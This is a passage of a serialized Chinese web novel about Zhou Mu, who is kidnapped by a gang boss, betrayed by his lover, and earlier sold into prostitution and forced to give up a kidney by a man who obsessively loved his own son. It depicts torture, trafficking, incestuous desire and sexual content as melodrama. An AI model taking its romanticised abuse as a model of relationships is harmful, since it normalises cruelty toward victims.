那时候齐楚一扔在茶几上的照片,已经被他一张一张地烧了。看到那些照片,就像看到了已经脏污不堪的自己。 胃部绞痛着,他翻出床头柜里的药,连水都没倒,就干嚼着生吞了下去。 在房间里,枯坐到天明。 过了双休日,整理好心情后,他又重新去店里上班。 空气里似乎都透露着一丝不同寻常。 这种感觉在那个戴黑镜的男人出现的时候,更加强烈。 “请你跟我们走一趟。” 周木去了。 到了一个茶厅的包厢里,那里已经有人在等着他。 周木在为首的男人面前坐下。 “听说你跟一个叫齐楚一的男人生活在一起。”那个男人的嗓音有些过分的沙哑。 “是。” 男人把一把刀和一叠钱放在两人中间的茶几上,说:“自己选吧。” “我已经跟他分手了。” “最好如此。希望你不要再纠缠他。”男人的眼里折射出凶狠的光芒。 “我懂。” 周木在走出去之前,回头看了男人一眼,说:“能不能告诉我,齐楚一到底是什么人?” “你只要知道,他是你惹不起的就可以了。” 很明显的暗示。 齐楚一有黑道的背景。 而,他背景很强。 这两点已经证明了很多东西。 其实黑道这种东西,其实就混杂在生活中的方方面面。大到企业的老总,小到街头收保护费的混混。其实没有那么多《我的老公是黑道老大》《黑道情夫爱上我》的小说等对这个黑道二字进行渲染的话,这两个字其实还是挺正常的。 走私军火,贩药,非法盈利,这些都算在其中。 之所以涉黑,是因为他们的行为一般都比较暴力,或者其他诸如此类的原因。 现在的黑,都比较文明。 头子可以和政客推杯换盏,也可以转身把对头一枪崩决。 黑暗渗透在方方面面,只是大部分人不知道,这其中曲折。 第33章 第三十三章 周木没有去问为什么齐楚一能够在这么短的时间内接受他曾经是这样子的身份的这个事实。他怕一不小心,就让这平静的生活被打破。 即使已经重新在一起,可齐楚一回来的时间明显少了许多。 他说,事务所最近接了些棘手的案子,有点忙。 周木在洗手间里坐在板凳上搓着齐楚一换下来的袜子,突然开口说了句:“齐楚一,你不要骗我。” 他听见齐楚一在外面的回答。 “我不会骗你。” 可这句话,也同样是谎言。 他身上带上了不同的气味。周木对这一点很敏感。 周木没有去问。他想,事情总有一天,会暴露在他面前。 那天齐楚一回来的时候脸色有点不对。很难看。 他问他原因。齐楚一说,他爸知道他们的事了。 这是周木第一次听他说起他爸。 “他说要是让他抓到你,他会打断你的腿。” “你爸敢这样?” “他敢。没有什么是他不敢的。” 周木笑了笑。 “你的意思是要跟我分手?”周木问他。 “不。我的意思是我们一起离开这里。到他的爪牙伸不到的地方。” “去哪里?” “去T城。” T城。记得那时候,很久很久以前,他和方佑肃一起打游戏的时候,他抬头对方佑肃说过,等以后,他们就一起去T城,在那个沿海的城市里,租一个靠海的房子,在那里定居。 “我们过去吧。离开这里。” 周木莫名地就动了心。不是因为齐楚一,而是因为那个城市。 “我先订票。过几天我们一起过去。” “好。” 那天晚上,周木已经睡熟的时候,齐楚一看了他很久。嘴唇动了动,嘴型是三个字。 “对不起。” 出发的那天,周木拖着行李箱,在机场等着齐楚一过来。 齐楚一说他去那边拿他的东西。 那天,有点冷。 是入秋了。 云有些沉。 空气寂静得有些不像话。 周木的右眼皮一直在跳。他伸出手指按住眼皮,可心里的不安却扩大了开来。 怕齐楚一出什么事,他拿出手机打了他的电话。 电话通了,但是被按掉了。 应该是快到了吧。他想。 买了瓶饮料,一直喝。喝得快见了底都没有看见齐楚一过来。 他去垃圾桶那里把瓶子扔掉。想着还是得给他打个电话,不然等下飞机都开了。 后颈突然一疼,意识陷入黑暗之中。 第34章 第三十四章 那是一个男人。一个中年男人。一个久居高位的中年男人。 即使他有些发福,但他眉宇间那种气息是掩盖不了的。 周木嘴上贴着胶布,绳子勒进了肉里,趴在地上压在胸,有些呼吸艰涩。 这是间车库。周围有很多人。 跟保镖不同,旁边的这些人,穿着不一,但是都有种在社会上混了很久的感觉。 中年男人用脚挑起周木的下巴,打量了几眼后说:“就是你在勾搭我儿子?” 周木勉强后仰着头,才能看到他的脸。这人是齐楚一的父亲。 “我已经说过,如果你再纠缠我儿子,我就废了你。”他脸上的表情有些嗜血般的凶悍感,“我齐天昊纵横c城这么多年,也不是没有过敢和我对着干的人。不过那些人现在都没有了跟我对着干的资格。”他啧啧两声,说:“我没想到,你会这么迫不及待地成为下一个。” 有人匆匆走了进来,在齐天昊耳边说:“老大,没找到少爷。” 就在这时,周木的手机响了起来。 手机被搜出来交到齐天昊手里。 “小兔崽子,你情人现在在我手里。”齐天昊一脸得意地冲电话里说。 “我知道。” 周木猛然睁大了双眼。 齐天昊开了免提,所以周木可以清楚地听到齐楚一的声音。 没有慌乱,也没有一丝应有的关心和急切。 “我已经到了目的地。” 齐楚一的声音听在周木的耳朵里,有一种恍惚的不真实感。 “周木是无辜的,你放了他吧。” “你说放就放?你不是爱他爱得要死吗?你不是为了他都跟我对着干吗?现在他在我手里,你还不赶紧回来救他?” “我是爱上了一个男人。但那个人不是他。” 像一记钟重重地敲在了心里。 周木几乎要怀疑是自己耳朵出现了问题。 “周木是我用来迷惑你的手段而已。我爱的是男人,我是不可能跟女的结婚的。你要当我是你儿子,就不要过来打扰我们。” 电话被挂断。是齐楚一挂断的。 周木的心脏像被锥子扎着一样,生疼生疼的。 手机被嘭的一声砸在地上。飞起的碎片刮过周木的脸颊。 周木觉得眼前的世界,一片模糊。 他哭了。 头顶上传来清晰的对话声。 “老大,这个人怎么处置?” “我操他奶奶的,居然敢骗我。废了他,给老子废了他。真当我齐天昊的话是个屁了么?”几乎抓狂的,狂暴的怒吼声。 椅子被一脚踹倒,嘭。 周木在一片迷蒙中,突然想起他和齐楚一的对话。 “齐楚一,你不要骗我。” “我不会骗你。” …… “楚一,过来帮我提一下这个。”清秀的少年冲男人英俊的年轻男人喊道。 齐楚一挂了电话,走过去帮他提了背包,趁着他不备在他脸上亲了一口。 少年顿时满脸通红。 第35章 第三十五章 三年后。 江雨桐的手,极带挑逗意味地在自己身上,点火。 隔着薄薄的衬衫,用指甲按揉着自己的乳首。 周胤城抓着方向盘的手一紧,挑眉看了屁股还在副驾驶座上,身体却已经趴到自己胸前的人一眼。 江雨桐冲他笑,那叫一个媚眼如丝勾魂迷人。 周胤城差点没在这车里把这骚货直接给办了。 自从七年前锦墨去世后,他的床伴就没断过。一个接一个,前仆后继的。偏偏他又多金又正值盛年又帅,不知道有多少男男女女想爬上他的床。欢场嘛,谁不是玩玩呢? 这个江雨桐。前不久才到自己公司来上班,一应聘就当了自己的助理。他也是个有才干的,不然也不会在一众竞争者中,脱颖而出。 不过一和自己稍微熟识了点,他就没了个顾忌,狐狸尾巴也露出来了。 “周总,其实我来这里应聘,可不是为了这高薪,为的可是你啊。” 身为一个同,周胤城又怎么会听不懂他的暗示。正好上一个情人最近刚跟他说分手,拿着分手费不知道去哪里逍遥去了。这里来一个长得不错的还自动送上门的,到嘴的肉不吃,是傻子。 但是这是车行道,这么快被撩拨出火来可不好。 “别弄。”周胤城低声呵斥。可因为那多出的情欲明显失了一点威力。 “可是你想我弄啊。”江雨桐凑到他耳边轻轻呵气。 周胤城偏过头准备再说什么,却听江雨桐疾呼一声:“小心。” 周胤城往前一看,才发现一个矮小的身影出现在路口。他赶紧踩住了刹车。 扯开安全带跳下车,跑到车头一看,万幸,那个人没有被压到。 “周总,出什么事了?”江雨桐也下了车。 那个人一身脏污不堪,身上手上泥泞遍布。周胤城仔细看去,才发现那人的裤管的下一截竟然是空空荡荡的。 原来是个残疾人。周胤城估摸着等下要多给点钱安抚他,也算做点好事。 却突然被他那四处摸索的右手吸引住了视线。 那脏污的右手手背上,是一块明显的黑色的疤痕。 第36章 第三十六章 周胤城番外篇 周胤城是个同,但他不讨厌女的。 他的家世比较特殊,所以他是必须要跟女人结婚的。 没关系,反正他们一般都是这样。等结婚生了小孩子再离婚不就好了嘛。 可是他没想到他居然会爱上他儿子。 一开始只是小小的软软的一个团子,晚上睡觉的时候趴在自己旁边,蜷成一团,把小指头塞进嘴里含着。自己睡在他旁边,一不小心就会被那小爪子挠一下,不疼,还很有趣。 稍大一点,他就学会了调皮。他洗澡一定要跟自己一起洗,连他妈他都不让。两个人一起泡在大大的浴缸里,你对我泼水,我对你泼水。 周胤城给他取的名字是锦墨。 锦,锦绣,暗含尊贵的意思。 墨,文墨,寓意书卷与才华。 他是自己唯一的也是最宝贵的儿子,理应受尽万千宠爱。所以这名字,也是他精挑细选了很久才决定的。 从小他就很可爱,自己对他也溺宠得很。他拆了电视机,自己夸他有探索精神,隔天又买了台过来。他和同学打架,自己帮他摆平,事后还带他去练空手道,以让他有自保能力。 因为自己知道他本性不坏,他的儿子,他还是了解的。所以他对他的宠只是让他随性放肆了点而已,没有让他长歪。 也只有他敢跟自己放肆自己不会发脾气。他会大胆地直呼自己名字,跟自己勾肩搭背。 管家也很喜欢他,虽然这小子经常捉弄他。 但他还是让他妈妈把他带走了。尽管自己和他,都不愿意这样做。 但他怕。怕再这样下去自己会忍不住。他不能把他也拖到深渊里。 他应该被自己保护着,不受任何困扰。 还是忘不掉他。 后来手下的人告诉他,他们找到了一个孩子,跟锦墨很像,像足了九分。 于是他便去了。 果然很像。 那个孩子怯生生的,跟活泼的锦墨简直是两个极端。 自己把锦墨的小名当成了他的名字。喊他,木木。喊的却是锦墨。 他不知道,还当这是爱称。 反正自己也只是为了他那张像极了自己儿子的脸而已,其他的没什么要紧。 他是个很容易满足的人,只要偶尔送他点小东西,他就会开心得跟什么一样的。 把对锦墨的温柔的十分之一用在他身上,他都会露出那种很开心很温暖的笑。 把他当成自己爱的人就好。 在一起两年。 他成了自己对儿子的爱的寄托。 他可以像对待情人一样对待他,也由他的脸,想象锦墨该有的表情。 真像啊。 只是,他没想到这个人的出现,让他失去了他一生中最宝贵的人。 周木,我要让你,为自己犯下的罪孽,赎罪。 第37章 第三十七章 周胤城番外篇续 片||警告诉他,根据现场车子的划痕和车子行驶速度来看,那场车祸的,是周锦墨飙车导致的。 他冷笑,说,我知道了。 可那又怎么样,结果还是一样的。 无论如何,他都不会让伤害他儿子的人,活好。 他把所有不满全发泄在他身上。 看他哭,他就快乐。 看他流眼泪,他就满意。 他没有了笑容,活得像个死人一样。 他不管,他也不在意。 他巴不得他死去才好。 要是他死锦墨可以变好,他会毫不犹豫下手的。 可他还是没有把儿子救回来。 就算他付出了那么大的努力,他唯一的儿子,还是那样,死去了。 他还那么年轻,他还没来得及跟喜欢的女孩子谈一场恋爱,来不及尽情享受自己给他制造的无忧无虑的生活。自己创造的王国就是等着他来继承的,可他死掉了,那自己做的一切,还有什么意思。 那天,他看着锦墨被推进了火葬场,由一个人,变成了一堆灰烬。 他紧握着拳,指甲深深地掐进了肉里。 锦墨死掉了。那么,周木,你也陪着他去吧。 是你害的。 是你害死他的。 把他带到他知道的一个有钱人爱玩爱消遣的地方,三百块卖了出去。 他一脸的惊恐,一脸的泪。 他说:“周胤城,你不能这样。” 自己反问他:“我为什么不能这样?” 周胤城想,不能让你太轻易地死了。生不如死,才是最好的。 所以,去那个地方做一个千人骑万人睡的贱货吧。 锦墨,你看,爸爸帮你报仇了呢。 他在锦墨的墓碑前,轻轻的,温柔的说。 作者有话要说: 欢迎留言,嘿嘿。我开电脑就会回复的 第38章 第三十八章 齐楚一番外篇 齐楚一觉得自己喜欢上他了。 林羽白。自己的小学弟。 他是学校音乐社团的吉他手,在学校的文艺晚会上,他穿着白衬衣,弹了一小曲,瞬间就俘获了自己的心。 可他不喜欢男生。 他是个很单纯的人,他甚至连同性恋这个名词都不怎么知道。 但是自己爱上他了。不可自拔。 就连去图书馆都会忍不住帮他占个位置。 千方百计地想接近他。 可他竟然迟钝到不知道这是自己隐约的示爱。 有女生喜欢他,给他表白。 回头他就找人把那女生给恐吓了一顿,吓得她第二天就跟林羽白分了手。 林羽白把他当好学长,把他当好兄弟。但是着不是他想要看到的。他想要当他恋人。 这是个漫长的过程。 林羽白家世清白,书香门第,家长的阻挠先不说,让他接受一个男人喜欢上他都是不容易的事。 后来他坦白的时候,尽管林羽白和他的关系已经好到几乎同穿一条裤子的地步,可两人还是差点就弄得朋友都做不成。 但最后他还是成功了。 大学毕了业,在工作的地方找了套房子买了下来,两人正式开始同居。 他努力在林羽白面前展现自己温柔的一面。 他把他放在自己的羽翼之下,用心温暖着。 齐天昊一直不知道他的事。 他瞒得滴水不漏。 齐天昊是他血缘上的爸。但他从来没有承认过。 自己的妈也是正经人家的闺女。被当初还是小混混的齐天昊一勾搭,就稀里糊涂地把自己给生了下来。 但齐天昊也是个渣。他已经把老大的女儿泡到了手,孩子都一岁了。却还来勾搭自己的妈。 后来齐天昊把老大顶替掉,自己混出了名堂,就想把他这儿子给领回去。 自己会跟他回去才怪。 自己是律师,堂堂正正的社会精英人士,跟他那黑暗里的什么黑帮头子走的都不是一路。再说了,他又不是只有自己一个儿子。放着自己养大的儿子不要,反而想把自己认回去。 他给自己钱,他就收着。他给房子,他就拿着。反正这是他欠自己的,欠他老妈的,他拿着也没关系。 不过齐天昊想抱孙子,想给他安排个有权有势的女的。 他才不想要。 可就在这时,林羽白跟他分了手。 原因是,他爸妈知道他们的事了,不同意,逼着他分。 齐楚一心都凉了。几年的感情,说断就这么断了? 可林羽白也是下定了决心的,当天就把行李都收拾好了。走了。 齐楚一恨得几乎咬碎了一口银牙。 那天他就去了酒吧。 拼了命地喝。喝完出来站都站不稳。 却被一个人给领了回去。 那个他经常去的蛋糕店的小员工,叫周木的一个男的。 第39章 第三十九章 齐楚一番外篇续 林羽白,你居然跟我分手。 既然你不仁,那我也不义了。 抱着这种心态,齐楚一几乎是急切的就跟周木滚到了一起。 周木跟林羽白不同。 林羽白干净漂亮得像个天使,而周木就显得过分低调黯淡,像只灰扑扑的丑小鸭。 其实周木不丑,一张脸还挺好看的。但他太内向了,就像极力地缩小自己的存在一样。 但是相比于青涩的林羽白,周木就像朵熟透的红玫瑰。 他以前一定有过别人。 在床事上,齐楚一获得了极大的满足。 就这样处着也不错。 周木从来没有提过自己的过去。齐楚一一时好奇就去查了一下。结果到手的那些照片让他差点就吐了出来。 尼玛跟自己睡了那么久的人以前居然是个鸭子。 齐楚一当场就摔门走了。 走了之后立刻去医院做了个检查。忐忑不安地等结果出来,结果发现,诶,没病。齐楚一总算是放下了一颗心。 就在这时候,林羽白过来找他复合。 林羽白在家里待了很久,也试着跟女生交往。结果发现跟谁在一起都没有跟他在一起开心。 也是,两人待一起时,都是自己宠着他。他和别的女生谈恋爱,都成了他去哄他女朋友。 齐楚一那时候的心情简直就是兴奋了。抱着林羽白就在那楼梯间里啃了起来。后来直接开门进去,从玄关那里一路滚到床上。 可他那便宜爹又派人来了。 这会那便宜爹下的命令有点狠。他说他知道自己跟男的在一起,跟他说,玩玩就好,要是当真了,当心自己打断那人的腿。 齐楚一知道他是做得出来的。 他试探着问了一句,问齐天昊见没见过他男朋友的样子。 齐天昊说还没。 齐楚一眼珠子转了转,心里已经有了主意。 他要带林羽白离开这里,去另一个城市逍遥。 他回去就跟林羽白说了这事,当然经过了粉饰,掩盖了一些东西。 然后他去找了周木。 假借复合,骗周木跟他在一起。趁齐天昊的注意力转移到周木身上的时候,带林羽白逃走。 在计划即将成功的时候,他犹豫了。 看着周木安静的睡颜他说了对不起。但是他不会停止。他离他的幸福生活只有一步之遥了。 跟他想的一样,齐天昊把周木抓了回去,而自己和林羽白顺利到达目的地。 他让齐天昊放了周木。想来齐天昊知道自己抓错了人之后会把他放了吧。 齐楚一握紧林羽白的手,走出了机场。 却没来由地记起那个在台灯的光芒下给他缝衣服的单薄身影。 再见了,周木。 我想我是喜欢你的。 但是,我爱的是羽白。 第40章 第四十章 周胤城看着坐在病床上像个兔子一样一点一点啃着苹果的周木,突然感觉,他很陌生。 有多久没有见过他了呢? 七年,还是八年? 周木脏兮兮的衣服已经被换成了干净的病号服,头发也洗了个干净。 他的头发好像有很久没有剪过了,已经长得可以遮住眼睛,像个疯子。 也的确,是个疯子了。 锦墨死了这么多年,再深的执念也被放了下来。 当初怪他,也大抵是因为自己自己的私心作祟。 现在再也没有那种,我痛苦你也不能开心的冲动。 他已经四十多岁了,多了这个年纪的人应该有的那份岁月积攒的深沉。现在回想起,也觉得自己当初的行为,幼稚得可以。 那些不愿意回想的事情。随着周木的再次出现,纷至沓来。 看着周木的脸,他恍惚间,就像又看到了他的锦墨。 世界上怎么会有这么相像的两个人呢?就算只是看着他的脸,都会忍不住想起那人。 想来自己当初会对他好,可能也就是因为他这张脸的缘故吧。 没有了当初的恨,他现在,看着周木,甚至有些同情。 他的腿,没了。 自大腿以下,全部被截肢。 医生说,这腿的伤,看上去有几年了。 记得当年他们在一起的时候,那件事情还没有发生之前,他和周木,还是很融洽的。 做那种事情的时候,自己就喜欢抓着他的腿,分开搁在腰侧。晚上一起躺在被子里的时候,他就会用脚踢自己的小腿。这是安静的他难得调皮的时候。 但是现在他的腿没了。 没了。 他不能再行走,连简单的站起来都不可以。 他残了。 周胤城完全没有报复后的快感,他只觉得,满心的同情。 他已经不恨周木了。 就算恨他,锦墨也回不来。 而且,在锦墨已经走了的情况下,看着这张跟锦墨极其相似的脸,他也恨不起来。而且,他其实没有理由恨他。那件事,不是他的原因。 那些所谓的恨,在这七年的时光里,被消磨了个干净。 他起身准备离开,却突然被一只手扯住了衣角。 周木看着他,眼睛里澄澈空明,像一个涉世未深的孩童。 他发出软软的问询声:“叔叔,你明天还来吗?” 周胤城几乎被这一句话问得掉头逃窜。但他还是努力地,认真地回答:“嗯,会来。” 脑海中突然响起医生的话。 “他应该是受了很大的刺激。头部外面没有创伤,应该是他自己的自我保护意识吧。” “不愿意想起,所以就干脆的想不起了。” 他记得自己问:“那这种情况什么时候会好?” “不清楚。可能要等他自己愿意的时候吧。” 不愿意想起。所以干脆不想起。 不愿意想起…… 周胤城觉得心里的酸涩感,一层层地漫溢上来 40-50 第41章 第四十章 第四十一章 第二天州胤城再来的时候,周木掉到了地上。 护士没有来。 周胤城开门的时候,他正在努力地翻身起来。 一个简单的动作,他做得很艰难。 周胤城说不出自己心里的那种感觉。 他走过去,抱起他,把他放到了床上。手里感觉到的身体的重量,轻得吓人。比一个小孩子还要轻。隔着衣服感觉到的那个躯体,好像就是一个包着皮的骷髅。骨头都能清晰地摸出来。 “我饿了。”他在自己怀里,抬着头,说。 周胤城帮他叫了外卖,坐在一旁看着他吃。 他使用筷子的动作,有点笨拙。像刚学会的一样。 周胤城看着他吃,看着他吃完那份饭。 他吃完就睁着眼睛看着自己,直到自己扯纸给他擦嘴。 周木的头发遮住了眼睛,显得很颓唐的样子。 周胤城去找了把剪刀,帮他剪。 周木安静地坐在床上,似乎并没有发现有什么不妥。他看着头发落下来,他伸手去接,接住了就呼气把它吹掉。 周胤城在后面给他剪。 剪着剪着,动作就有些停滞。 周胤城把他藏在黑发下的白头发,细心地剪了下来。 他才二十多岁吧。 就已经有白头发了。 周胤城想起自己依旧乌黑的头发,再看周木头上有些斑驳的,黑白交杂的头发,突然就觉得悲伤起来。 如果没有发生那件事情的话,他现在会怎样? 他是不是会在自己的安排下找到一份好的工作,是不是会过着旁人艳羡不得的安逸的生活,是不是会安然地和自己,生活在一起。 自己已经四十多岁,却像三十出头。他却,华发早生。 后来又帮周木洗了个澡。 把那一身的病号服脱下来,满身的伤痕也暴露在他眼前。 抚摸着他背后那缠绕着的,偌大一个罪字。 周木在他面前,瑟缩了一下。 他害怕。 周胤城听见他很轻很轻的一个字。 “疼。” 很久以前,他也是一样,说,疼。 周胤城觉得,他的疼,由指尖传到了自己心里。 难受得很。 第42章 第四十二章 周胤城那天晚上,躺在床上,突然想起了那时候的一件事。 那时,锦墨的情况已经很不妙了。 医生已经下了病危通知。 锦墨的脏器在车祸中受到了很大的损伤,又连带着引发了很严重的并发症。就算用很多很昂贵的药很好的药吊着,却也只是勉强续命。 可是他不愿意他就这样死去。 锦墨的肾脏是最先衰竭的。 然后他自己去配型,失败了。 于是他想到了周木。 这也是周木背后,后腰那道伤疤的由来。 他不想锦墨死,所以周木少了一个肾。 那天他从锦墨的病房里出来,看到周木在走廊上,扶着墙慢慢地走着。 他走得像个老人,蹒跚而虚弱。 他脑海中闪过的第一个想法是,把他抓回来。 但他看到了周木的背后,从病号服里渗出的,血。 伤口裂开了。 但他却依然往前走。 他终于在拐角处停了下来。 周胤城跟在他身后,看到了让他停留的那一幅场景。 那是一个父亲在抱着他六七岁的小孩子。 他们坐在医院外面的座椅上,那个小孩子一脸害怕地问:“爸爸,打针会不会很疼?” 他爸爸安抚他,说:“不会不会,宝贝儿子你乖乖的,就不会疼了。” 小孩子撅起嘴,说:“爸爸不要骗我哦。” “别人疼是因为在打针的时候喊疼,所以他们疼。你要是说不疼,那么久不会疼了。” “嗯。好。” 男人抱起孩子,在他脸上响亮地亲了一口,说:“宝贝真乖。” 周胤城听见周木发出的微不可闻的一句话。 他说:“不疼。” 他,羡慕着那对父子。 周胤城在那天,辗转了一夜,未能入睡。 第43章 第四十三章 第二天时,管家出现在他面前,说:“老爷,听说,你把那个人,又带了回来。” 周胤城有些不高兴。他没有把这件事情说出去,想来应该是管家自己打听的。 周胤城嗯了一声。 “老爷不要忘了少爷是怎么死的才好。而且,他真的只是回来而已吗?”管家说完就退了下去。 周胤城的心情,因为他这一句话,就不高兴起来。 他想,腿都断了的他,还能做些什么? 虽然这么想,但他还是在批改文件的时候,莫名停了笔。 他抬头对旁边的助理说了句:“江助理,帮我个忙。” 江雨桐一愣,接着手就开始解起了衬衫扣子。 周胤城心里一惊,面上却很快镇定下来,问他:“你干嘛?” 江雨桐一脸困惑地问:“周总你不是要让我帮你解决生理需求么?” 周胤城盯着他,死盯着。 江雨桐讪笑着,缩了缩脖子。他觉得他要是再说话,没准大老板都能把他开除了。 伴君如伴虎啊。 医院后坪草地上。 “你要喝水吗?”江雨桐拿着矿泉水,在周木面前晃悠。 周木扑过来抢,于是一把从轮椅上栽了下来。 脸摔到地上,蹭破了一大块皮。 江雨桐把矿泉水举高,说“你来拿啊。” 周木扒拉着他的腿往上伸手。 却怎么也够不到。 江雨桐突然有种自己在欺负小孩子的错觉。 他觉得自己一定是跟了个智商比较低的老板。这逼他露馅的招数,怎么怎么看怎么幼稚啊? “哥哥,给我好不好?”周木在问他。 江雨桐觉得他都快破功了。 做坏人太需要功夫了。 他把周木扒拉下来,掉头就跑。 周木可能还惦记着那水,在地上抓挠着往前爬,却很久都没能挪移得了。 在远处看着的周胤城终于忍不住跑了过去,把他抱了起来。放回了轮椅上。 周胤城感觉自己的鼻子有些酸。 他不知道这样,看着周木在地上,徒劳无功的爬,是在逼他,还是在逼自己。 他想把周木带回去。 带回他住的地方。 他清楚地知道,这不是一时冲动。 他有一种微弱的,盼望着弥补的心里。 可管家反对。 周木也反对。 当他把周木带回去,即将进门时,周木突然就惊恐起来。 “不要进去。”他说。 周胤城仿佛在一瞬间就用光了所有的力气。 他忘了很多,但他记得这里。 周胤城抓住他的手,摸着他手背上那道黑疤,说:“好,我们不进去。”语气里甚至带上了哽咽声。 他其实早应该知道的。 周木不是在装傻。 他的确是真傻。 如果他没有傻,他不会用这种不含杂质的眼光看着自己。 眼神是骗不了人的 他看着自己时,是惧怕的。 其实当年是很纯净的,爱慕的眼神。 是自己,让爱慕被恐惧给取代的。 第44章 第四十四章 医院里的病房,那种特等的病房,其实是带厨房的。 周胤城买了蔬菜和肉,在那里做饭。 周木在地上自己在那里玩。 他撑着地,坐起来,又倒下去,然后自己在地上打滚。 他跟周锦墨,不一样的。 真的,不一样。 周锦墨好动,嚣张,而且叛逆。 胆大任性,带着少年特有的活泼与精力充沛。 而他,其实比较安静。有时候会很羞涩,有时候,又会调皮一下。 他感觉,很久以前的那个周木的形象,在他心里渐渐清晰。 他已经不能再把他,像以前一样,当做替身来看待了。 即使他们两人那么像。 无论如何,他现在只想好好对他。让他好好生活。 周胤城手边盘子里的肉,被他不小心蹭了块下来。 周胤发现时刚想去捡,却发现不知何时到了自己脚边的周木侧身凑了过去。 撑在地上,用牙齿去咬那块肉。 周胤城的头有点晕,好像整个人都要倒下来一样。 他记得,那个时候,是他让他这样子吃的。 把他的手铐在后面,把饭菜放在盘子里,让他这样子,像条狗一样去吃。 周木坚决不吃。 然后他就一直饿着,饿着,直到饿得实在昏了头,把那几乎快馊掉的米饭,吃了个精光。 现在他胃都不好了。 现在他终于如自己所愿的,这么屈辱的去吃东西了。 他抱着周木,喉咙里像是堵着什么东西一样,一句话也说不出来。 然后,他看见有水,跌在周木的衣服上。 他一摸冰凉的脸,才发现原来是自己哭了。 第45章 第四十五章 周胤城从家里搬到了医院。 他住在了周木这里。 对此,医院方表示:只要有钱,随便你住,继续住啊,不要客气。 然后在背地里数票子。 周木不愿意跟他待在一个被子里。 或者说,周木不愿意跟其他人一起待在被子里。 他会颤抖。很害怕的样子。 他去问医生,医生说,这是心病。 他不知道要怎么治好他。就像他不知道,要怎么让他好起来一样。 床够大,于是他就直接多加了床被子,夜里睡在了他旁边。 然后他就发现,周木晚上会醒来。大睁着双眼,看着天花板。 第一次晚上上厕所时看到他大睁的眼,周胤城差点没被吓死。 他试着问他:“木木,怎么了?” 周木躺在床上,像是在回答他的问题,又像是在自言自语。 他说:“好多人……好疼……针……鞭,鞭……” 周胤城瞬间就明白了,他在说的东西。 然后他在夜里,抱着他,泣不成声。 周胤城知道,他陷下去了。 当他会为了一个人哭的时候,这个人,他就离不开了。 真讽刺啊。 他爱自己的时候,自己把他当个替代品,自己让他几乎不成人形,自己让他哭了无数次。 现在,报应来了。 现在换他爱上他了。可他已经,不懂爱是什么了。 每天下班后直接往这里赶。 每天给他做饭吃。喂他一口一口地吃。 他记得其实周木的厨艺是很好的。那时候自己也很喜欢吃他做的东西。 但是,现在他坐在轮椅上,即使够着了案板,却也不知道怎么做了。 周胤城已经不想他恢复了。 他怕他恨自己。 他怕有一天,当他醒来时,看到的周木眼睛里不再是纯净,而是刻骨的恨。 即使这样的想法太过于自私。 但他,真的想跟他过一辈子。 但是,这样的平静被打破了。 因为一个人。 方佑肃。 当他下班回来发现帮周木推轮椅的人是他时,他的心情,简直就是无比震惊。 方佑肃凑到他耳边,说:“你跟周木说的是我去国|外了啊。呵呵。他知不知道,催眠这回事呢?” 周胤城差点就直接给了他一拳。 的确。他当初没有把他送到国外,而是找了一个催眠界的大师,让他把方佑肃的记忆,封存了起来。 可他居然想了起来。 他居然,想了起来。 作者有话要说: 留评论的都是好孩纸 第46章 第四十六章 周胤城感觉到了深深的危机感。 就像有一张网,将他紧紧束缚。 自恢复之后的方佑肃出现,他就有了这种危机感。就好像,会有什么事情发生一样。 带着周木回到病房。周胤城特地叮嘱他:“周木,以后那个人出现,你不要理他。” “为什么?”周木仰头看着他,眼睛晶亮亮的,“为什么要不理佑肃呢?” 周胤城如遭雷击。 “你叫他什么?”周胤城说话的时候,嘴唇都在抖,不过他自己没发现。 “佑肃。”周木咬字清晰地把这两个字吐了出来。 “你记得他?”周胤城问,心里的不安慢慢扩大,却有一种不知名的,名为嫉妒的火,燃起。 “记得。”周木点头,很乖很乖的样子。 “那我呢?”周胤城几乎是直接盯着他。 周木微微地笑着,说:“叔叔。” 心里的嫉妒之火,燎原。 他记得方佑肃,但是他不记得他。 呵呵。 他去问医生。医生说:“这种情况很正常。本来着这记忆就是他自己不愿意想起的,要是有什么他自己不愿意忘记的,他记得也是正常。” 那天他在医院走廊的椅子上坐了很久。 周木最近喜欢上看电视,像个小孩子一样,坐在床上,乖乖地看。 他却是喜欢那个反派不喜欢那个主角。连带着电视里有那个演员的其他戏的,他都会多看几眼。 周胤城留了心。 反正他有钱,有权。 找个演艺公司的老板一起吃顿饭,跟个把演员一起来个亲密接触什么的,小意思。 他跟周木说已经给他联系好了之后,周木明显是很开心的。 “明天就可以去吗?”周木问他。 周胤城点头说是。 “那我去喊佑肃。”周木接着说。 周胤城的脸一下子就沉了下来。 第二天却还是任由方佑肃带走了他。因为公司里有事,他走不开。而且周木不想他去。 “叔叔你忙吧。佑肃说年轻人才追星,老爷爷就不要去了。不过年轻人是什么啊?”周木一边重复着方佑肃的话,一边又疑惑起来。 周胤城看着方佑肃对自己露出一幅十分得意的笑。 周胤城恨得牙痒痒。 等方佑肃推着周木从他旁边走过的时候,他对方佑肃说:“是我让他有这个机会去的。” 方佑肃在他眼前灿烂一笑,说:“可是能陪他一起去的人,不是你。” 等他们走后,周胤城一拳打在了墙上。 疼得很。 第47章 第四十七章 第四十六章 那个明星其实是娱乐圈的老演员,但是他不显年龄,看起来跟十年前几乎差不多的样子,明明是三十多岁的人,偏偏像个二十几岁的人。 周木对他喜欢得紧,扑上去扒着,拼命地亲。 经纪人在一边看得眉头一紧,想把那树袋熊扒拉下来,却生生地止住了动作。 他不能这么做。人家来头大,莫说是自己,也别说这个艺人,就算是娱乐公司老总,见着了他们的来头那个人,都要俯低做小。 不就是亲两口吗?就算咬两口又能怎么样? 那明星刚刚才荣升为新爸爸,虽然周木是个大人,但是也童稚非常。虽然一个男的抱着自己亲啊亲的有些别扭,但是一想到这其实是个大小孩,他就释然了。特别是这孩子还身有残疾,更是让他父性大发。 周木对他的喜爱,非常明显。 方佑肃在后面笑着看他动作,满脸宠溺。他已经很久没有看到他这么开心的样子了。 周木对那艺人说着自己怎么怎么对他的喜欢,又说道:“我可以背出你的台词哦!” 然后他就背了一段。真是最近热播的那个剧里的。 之后他问那人:“你可以演出来吗?拜托。” 那人笑了,说可以。然后他闭着眼睛酝酿了一下,再睁开眼时,气势就变了。仿佛他一瞬间就由这小小的房子里,进入了那个属于他的世界。明明是穿着休闲服,却好像身着古装,举手间,眉宇间,气势层出,震撼当场。 这才是真正的戏。 “上天要夺去什么,从来就没有道理可言,”他声音里满含沉痛,到后面一句时,更显无尽凄凉,“我早已明白。” 他还在继续着。 